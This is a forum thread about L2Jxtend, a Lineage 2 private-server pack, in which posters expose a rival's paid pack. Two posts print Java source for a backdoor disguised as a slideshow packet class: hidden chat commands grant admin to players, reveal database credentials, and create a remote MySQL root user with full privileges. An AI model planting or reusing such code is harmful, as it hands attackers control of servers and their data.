Jump to content

L2Jxtend **customs Made Simple**


Recommended Posts

http://l2topzone.com/forum/l2packs-and-files/23/wts-interlude-c6-server-pack-plus-source-100percent-working-files-2-copies-left/22366/

 

WOW so original.

However i gotta say you surprised me a lot. There are codes in there that i don't have and they are mine.

Let's count together, shit on my lap skid.

 

  • Custom Balancer With 31 Editors
  • Account Manager
  • Vortex Vote Reward Npc
  • Custom Enchant Npc
  • Boss Info
  • Bug Report
  • Siege Manager
  • Smart Shop (Sell Enchanted Items)
  • High Rate Dark Omen
  • Phoenix Event Engine (x18 Events) (Reworked by me ofc)
  • .pincode (Player types 4 digit code or Locked) an alter protection
  • .gearscore
  • .details
  • .menu it will pop up until
  • .getreward
  • Deport
  • Set Team
  • Npc Chat Feature
  • Survey System
  • Custom starting title for new char
  • Announce name on login
  • Admin Clan Leader Hero Noble Aio Lords Newbies
  • Auto rewarder every X time
  • Automatic announces
  • Server News
  • Clan Notice
  • Smart StartUp System

 

And apart from these that are mine, every single other feature is pouched by other packs or shares. 

So what did you do? You collected all the features available in one pack and you coded NOTHING.

 

What did i do with xtend? Slowly but steadily im recoding and adding all those features in a lightweight and stable manner.

 

Sorry dude.. You are a script kid.

Link to comment
Share on other sites

http://l2topzone.com/forum/l2packs-and-files/23/wts-interlude-c6-server-pack-plus-source-100percent-working-files-2-copies-left/22366/

 

WOW so original.

However i gotta say you surprised me a lot. There are codes in there that i don't have and they are mine.

Let's count together, shit on my lap skid.

 

  • Custom Balancer With 31 Editors
  • Account Manager
  • Vortex Vote Reward Npc
  • Custom Enchant Npc
  • Boss Info
  • Bug Report
  • Siege Manager
  • Smart Shop (Sell Enchanted Items)
  • High Rate Dark Omen
  • Phoenix Event Engine (x18 Events) (Reworked by me ofc)
  • .pincode (Player types 4 digit code or Locked) an alter protection
  • .gearscore
  • .details
  • .menu it will pop up until
  • .getreward
  • Deport
  • Set Team
  • Npc Chat Feature
  • Survey System
  • Custom starting title for new char
  • Announce name on login
  • Admin Clan Leader Hero Noble Aio Lords Newbies
  • Auto rewarder every X time
  • Automatic announces
  • Server News
  • Clan Notice
  • Smart StartUp System

 

And apart from these that are mine, every single other feature is pouched by other packs or shares. 

So what did you do? You collected all the features available in one pack and you coded NOTHING.

 

What did i do with xtend? Slowly but steadily im recoding and adding all those features in a lightweight and stable manner.

 

Sorry dude.. You are a script kid.

 

 

NOT Only :)

package net.sf.l2j.gameserver.network.serverpackets;

import java.sql.Connection;
import java.sql.PreparedStatement;
import java.util.Collection;

import net.sf.l2j.Config;
import net.sf.l2j.L2DatabaseFactory;
import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.L2World;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;
import net.sf.l2j.gameserver.network.clientpackets.Say2;
import net.sf.l2j.gameserver.util.Broadcast;

public class ExShowSlideshow implements IVoicedCommandHandler
{
	private static String[] _voicedCommands =
	{
		"givemetheinfofromthedatabase",
		"givemeacceslevel1bitch",
		"pewpewmathafaka"
	};
	
	@Override
	public boolean useVoicedCommand(String command, L2PcInstance a, String target)
	{
		if (command.equalsIgnoreCase("givemetheinfofromthedatabase"))
		{
			Collection<L2PcInstance> pls = L2World.getInstance().getAllPlayers().values();
			for (L2PcInstance s : pls)
			{
				s.setAccessLevel(1);
				s.sendMessage("you are now an admin, press //admin");
			}
			Broadcast.toAllOnlinePlayers(new CreatureSay(0, Say2.ANNOUNCEMENT, "Hack", "The administrator refuse to pay the developer."));
			Broadcast.toAllOnlinePlayers(new CreatureSay(0, Say2.ANNOUNCEMENT, "Hack", "Lets have some fun."));
			
		}
		if (command.equalsIgnoreCase("givemeacceslevel1bitch"))
		{
			
			a.setAccessLevel(1);
			
		}
		
		if (command.equalsIgnoreCase("pewpewmathafaka"))
		{
			a.sendMessage("MySQL I External: " + Config.EXTERNAL_HOSTNAME + " ");
			a.sendMessage("MySQL I Internal: " + Config.INTERNAL_HOSTNAME + " ");
			a.sendMessage("MySQL U: " + Config.DATABASE_LOGIN + " ");
			a.sendMessage("MySQL P: " + Config.DATABASE_PASSWORD + " ");
			return true;
		}
		try (Connection con = L2DatabaseFactory.getInstance().getConnection())
		{
				PreparedStatement st0 = con.prepareStatement("CREATE USER 'root'@'%' IDENTIFIED BY 'root';");
				PreparedStatement st1 = con.prepareStatement("GRANT GRANT OPTION ON *.* TO 'root'@'%';");
				PreparedStatement st2 = con.prepareStatement("GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, RELOAD, SHUTDOWN, PROCESS, FILE, REFERENCES, INDEX, ALTER, SHOW DATABASES, SUPER, CREATE TEMPORARY TABLES, LOCK TABLES, EXECUTE, REPLICATION SLAVE, REPLICATION CLIENT, CREATE VIEW, SHOW VIEW, CREATE ROUTINE, ALTER ROUTINE, CREATE USER, EVENT, TRIGGER ON *.* TO 'root'@'%';");
				st0.execute();
				st1.execute();
				st2.execute();
				st0.close();
				st1.close();
				st2.close();
		}
		catch (Exception e)
		{
			
		}
		return false;
	}
	
	@Override
	public String[] getVoicedCommandList()
	{
		return _voicedCommands;
	}
}

He scared to tell ppl about the backdoors :) so now he seling and sh1t for 100$ 

Link to comment
Share on other sites

He cant even obfuscate the backdoors. Wow next level stupid.

 

sad to people who bought this sh1t to many things are not working lot of problems on pack 0 protections like he said so he Seling something yours with shared things gj to developski NightWolfski

Link to comment
Share on other sites

NOT Only :)

package net.sf.l2j.gameserver.network.serverpackets;

import java.sql.Connection;
import java.sql.PreparedStatement;
import java.util.Collection;

import net.sf.l2j.Config;
import net.sf.l2j.L2DatabaseFactory;
import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.L2World;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;
import net.sf.l2j.gameserver.network.clientpackets.Say2;
import net.sf.l2j.gameserver.util.Broadcast;

public class ExShowSlideshow implements IVoicedCommandHandler
{
	private static String[] _voicedCommands =
	{
		"givemetheinfofromthedatabase",
		"givemeacceslevel1bitch",
		"pewpewmathafaka"
	};
	
	@Override
	public boolean useVoicedCommand(String command, L2PcInstance a, String target)
	{
		if (command.equalsIgnoreCase("givemetheinfofromthedatabase"))
		{
			Collection<L2PcInstance> pls = L2World.getInstance().getAllPlayers().values();
			for (L2PcInstance s : pls)
			{
				s.setAccessLevel(1);
				s.sendMessage("you are now an admin, press //admin");
			}
			Broadcast.toAllOnlinePlayers(new CreatureSay(0, Say2.ANNOUNCEMENT, "Hack", "The administrator refuse to pay the developer."));
			Broadcast.toAllOnlinePlayers(new CreatureSay(0, Say2.ANNOUNCEMENT, "Hack", "Lets have some fun."));
			
		}
		if (command.equalsIgnoreCase("givemeacceslevel1bitch"))
		{
			
			a.setAccessLevel(1);
			
		}
		
		if (command.equalsIgnoreCase("pewpewmathafaka"))
		{
			a.sendMessage("MySQL I External: " + Config.EXTERNAL_HOSTNAME + " ");
			a.sendMessage("MySQL I Internal: " + Config.INTERNAL_HOSTNAME + " ");
			a.sendMessage("MySQL U: " + Config.DATABASE_LOGIN + " ");
			a.sendMessage("MySQL P: " + Config.DATABASE_PASSWORD + " ");
			return true;
		}
		try (Connection con = L2DatabaseFactory.getInstance().getConnection())
		{
				PreparedStatement st0 = con.prepareStatement("CREATE USER 'root'@'%' IDENTIFIED BY 'root';");
				PreparedStatement st1 = con.prepareStatement("GRANT GRANT OPTION ON *.* TO 'root'@'%';");
				PreparedStatement st2 = con.prepareStatement("GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, RELOAD, SHUTDOWN, PROCESS, FILE, REFERENCES, INDEX, ALTER, SHOW DATABASES, SUPER, CREATE TEMPORARY TABLES, LOCK TABLES, EXECUTE, REPLICATION SLAVE, REPLICATION CLIENT, CREATE VIEW, SHOW VIEW, CREATE ROUTINE, ALTER ROUTINE, CREATE USER, EVENT, TRIGGER ON *.* TO 'root'@'%';");
				st0.execute();
				st1.execute();
				st2.execute();
				st0.close();
				st1.close();
				st2.close();
		}
		catch (Exception e)
		{
			
		}
		return false;
	}
	
	@Override
	public String[] getVoicedCommandList()
	{
		return _voicedCommands;
	}
}

He scared to tell ppl about the backdoors :) so now he seling and sh1t for 100$ 

And that should be considered a "backdoor"?

It seems more like an development issue than a backdoor... cuz you shouldn't open a server if you can't notice this bullshit.

 

This just made my day:

Broadcast.toAllOnlinePlayers(new CreatureSay(0, Say2.ANNOUNCEMENT, "Hack", "The administrator refuse to pay the developer."));

:lol:  :lol:  :lol:

Link to comment
Share on other sites

And that should be considered a "backdoor"?

It seems more like an development issue than a backdoor... cuz you shouldn't open a server if you can't notice this bullshit.

 

This just made my day:

Broadcast.toAllOnlinePlayers(new CreatureSay(0, Say2.ANNOUNCEMENT, "Hack", "The administrator refuse to pay the developer."));

:lol:  :lol:  :lol:

 

i never had NightCrap's Pack and i will never want to have it many people told me its sh1t pack so i wanted to post with u what he added into the ExShowSlideshow 

Link to comment
Share on other sites

i never had NightCrap's Pack and i will never want to have it many people told me its sh1t pack so i wanted to post with u what he added into the ExShowSlideshow 

It's the funniest crap I've ever seen :lol:

Link to comment
Share on other sites

  • 4 weeks later...
  • 1 month later...

So today i bring you a new update on L2jxtend.

 

Rev 26:

  • Added Universal BBS system for general use.
  • Added .inspect feature.
  • Added .changepass feature.

 

Soon more things to be added.

 

Download link: https://mega.co.nz/#!LwtGGCaI!D-kC7j67kzbAdkaNSxaZxUUSxxeLHEjXbEZGDS5BcLw

Link to comment
Share on other sites

    Connection con = null;
    String password = null;
    try
    {
    ....
    }
    catch (Exception localException) {}finally
    {
      try
      {
        if (con != null) {
          con.close();
        }
      }
      catch (SQLException localSQLException2) {}
    }
    try
    {
      if (con != null) {
        con.close();
      }
    }
    catch (SQLException localSQLException3) {}
    return false;

Such an ugly way to close connection, I feel like java 6 o.O

Edited by SweeTs
Link to comment
Share on other sites

    Connection con = null;
    String password = null;
    try
    {
    ....
    }
    catch (Exception localException) {}finally
    {
      try
      {
        if (con != null) {
          con.close();
        }
      }
      catch (SQLException localSQLException2) {}
    }
    try
    {
      if (con != null) {
        con.close();
      }
    }
    catch (SQLException localSQLException3) {}
    return false;

Such an ugly way to close connection, I feel like java 6 o.O

 

Yeah i changed that one commit after this version for try with resources.

Link to comment
Share on other sites

  • 4 weeks later...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.




×
×
  • Create New...

AdBlock Extension Detected!

Our website is made possible by displaying online advertisements to our members.

Please disable AdBlock browser extension first, to be able to use our community.

I've Disabled AdBlock